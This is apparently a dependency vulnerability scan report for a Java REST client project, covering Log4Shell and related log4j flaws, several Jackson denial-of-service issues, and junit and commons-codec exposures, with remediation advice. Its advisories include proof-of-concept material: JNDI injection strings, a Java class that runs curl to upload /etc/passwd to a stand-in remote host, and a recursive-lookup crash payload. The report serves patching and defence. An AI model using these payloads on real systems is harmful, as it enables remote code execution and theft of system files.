Vulnerabilities

14 via 21 paths

Dependencies

26

Source

GitHub

Commit

c54a8680

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 14
  • 1
Severity
  • 2
  • 4
  • 7
  • 2
Status
  • 15
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.15.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.16.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:

  1. Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using %m{lookups} as formatMsgNoLookups is switched on by default as of version 2.15.0.
  2. Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
  3. Or uses Logger.printf("%s", userInput) function where attackers can control the userInput variable.

A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.

We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

PoC

In config:

<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>

In code:

ThreadContext.put("loginId", UserControlledInput);

History

This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).

Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.

On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.12.4 and com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.12.4 and com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.0.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Alternative Remediation

If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:

  • Disable/remove JDBCAppender
  • If JDBCAppender is used, make sure that it is not configured to use any protocol other than Java

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

References

medium severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.3.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

Workaround

This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.6.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) when using JDK serialization to serialize and deserialize JsonNode values. It is possible for the attacker to send a 4-byte length payload, with a value of Integer.MAX_VALUE , that will eventually cause large buffer allocation and out of heap memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.13.1, 2.12.6 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.12.7.1.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.12.4 and com.fasterxml.jackson.core:jackson-databind@2.12.4

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.13.0.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 com.fasterxml.jackson.core:jackson-databind@2.12.4 com.fasterxml.jackson.core:jackson-core@2.12.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.13.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.

Workaround

This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.

PoC


byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.

References

medium severity

EPL-1.0 license

  • Module: junit:junit
  • Introduced through: org.apache.logging.log4j:log4j-api@2.14.1 and org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.jupiter:junit-jupiter-migrationsupport@5.7.1 junit:junit@4.13
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.jupiter:junit-jupiter-migrationsupport@5.7.1 junit:junit@4.13
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13

EPL-1.0 license

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: org.apache.httpcomponents:httpclient@4.5.13

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.httpcomponents:httpclient@4.5.13 commons-codec:commons-codec@1.11

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Information Exposure

  • Vulnerable module: junit:junit
  • Introduced through: org.apache.logging.log4j:log4j-api@2.14.1 and org.apache.logging.log4j:log4j-core@2.14.1

Detailed paths

  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.jupiter:junit-jupiter-migrationsupport@5.7.1 junit:junit@4.13
    Remediation: Upgrade to org.apache.logging.log4j:log4j-api@2.14.1.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13
    Remediation: Upgrade to org.apache.logging.log4j:log4j-api@2.14.1.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.14.1.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.jupiter:junit-jupiter-migrationsupport@5.7.1 junit:junit@4.13
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.14.1.
  • Introduced through: Kortex/simple-rest-client@Kortex/simple-rest-client#c54a8680aec2b2249fab808b725e55963c9e1d65 org.apache.logging.log4j:log4j-core@2.14.1 org.apache.logging.log4j:log4j-api@2.14.1 org.junit.vintage:junit-vintage-engine@5.7.1 junit:junit@4.13
    Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.14.1.

Overview

junit:junit is an unit testing framework for Java

Affected versions of this package are vulnerable to Information Exposure. The JUnit4 test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.

Note: This vulnerability does not allow other users to overwrite the contents of these directories or files. This only affects Unix like systems.

Remediation

Upgrade junit:junit to version 4.13.1 or higher.

References